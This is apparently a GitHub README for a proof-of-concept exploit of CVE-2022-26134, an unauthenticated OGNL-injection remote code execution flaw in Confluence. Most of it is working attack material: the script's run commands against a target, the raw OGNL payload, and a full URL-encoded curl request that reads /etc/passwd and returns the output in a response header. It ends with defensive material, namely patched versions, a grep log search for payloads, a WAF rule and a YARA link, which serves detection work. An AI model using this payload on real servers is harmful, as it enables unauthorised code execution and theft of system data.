Script proof of concept that exploits the remote code execution vulnerability affecting Atlassian Confluence 7.18 and lower products. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.
All supported versions of Confluence Server and Data Center are affected.
Confluence Server and Data Center versions after 1.3.0 and bellow 7.18.1 are affected.
The vulnerability has a CVSS score of 10 out of 10 for criticality.
- Python 3.3+
- The dependencies can be satisfied via
pip install -r requirements.txt
Clone the repo:
git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134
Then you can run the exploit with the command of your choice as follow:
python3 cve-2022-26134.py https://target.com "id"
python3 cve-2022-26134.py https://target.com "ps aux"
python3 cve-2022-26134.py https://target.com "cat /etc/passwd"
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
Then, the result of the command will be reflected in the parameter X-Cmd-Response
in the response header.
Follow the official recommendations from Atlassian:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Atlassian has released an advisory for their products affected by this CVE, which you can read here. To resolve the issue, you need to upgrade your Confluence version. The suggested list at the time of publication is:
- 7.4.17
- 7.13.7
- 7.14.3
- 7.15.2
- 7.16.4
- 7.17.4
- 7.18.1
Confluence is an Apache Tomcat server which has logging located in /opt/atlassian/confluence/logs
. You can use commands like grep to search for HTTP GET requests of payloads that are using Java runtime to execute commands. For example:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"
in catalina.out
This vulnerability affects all self-hosted instances. If you use a WAF you can block URLS with ${
inside.
YARA (by Volexity): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar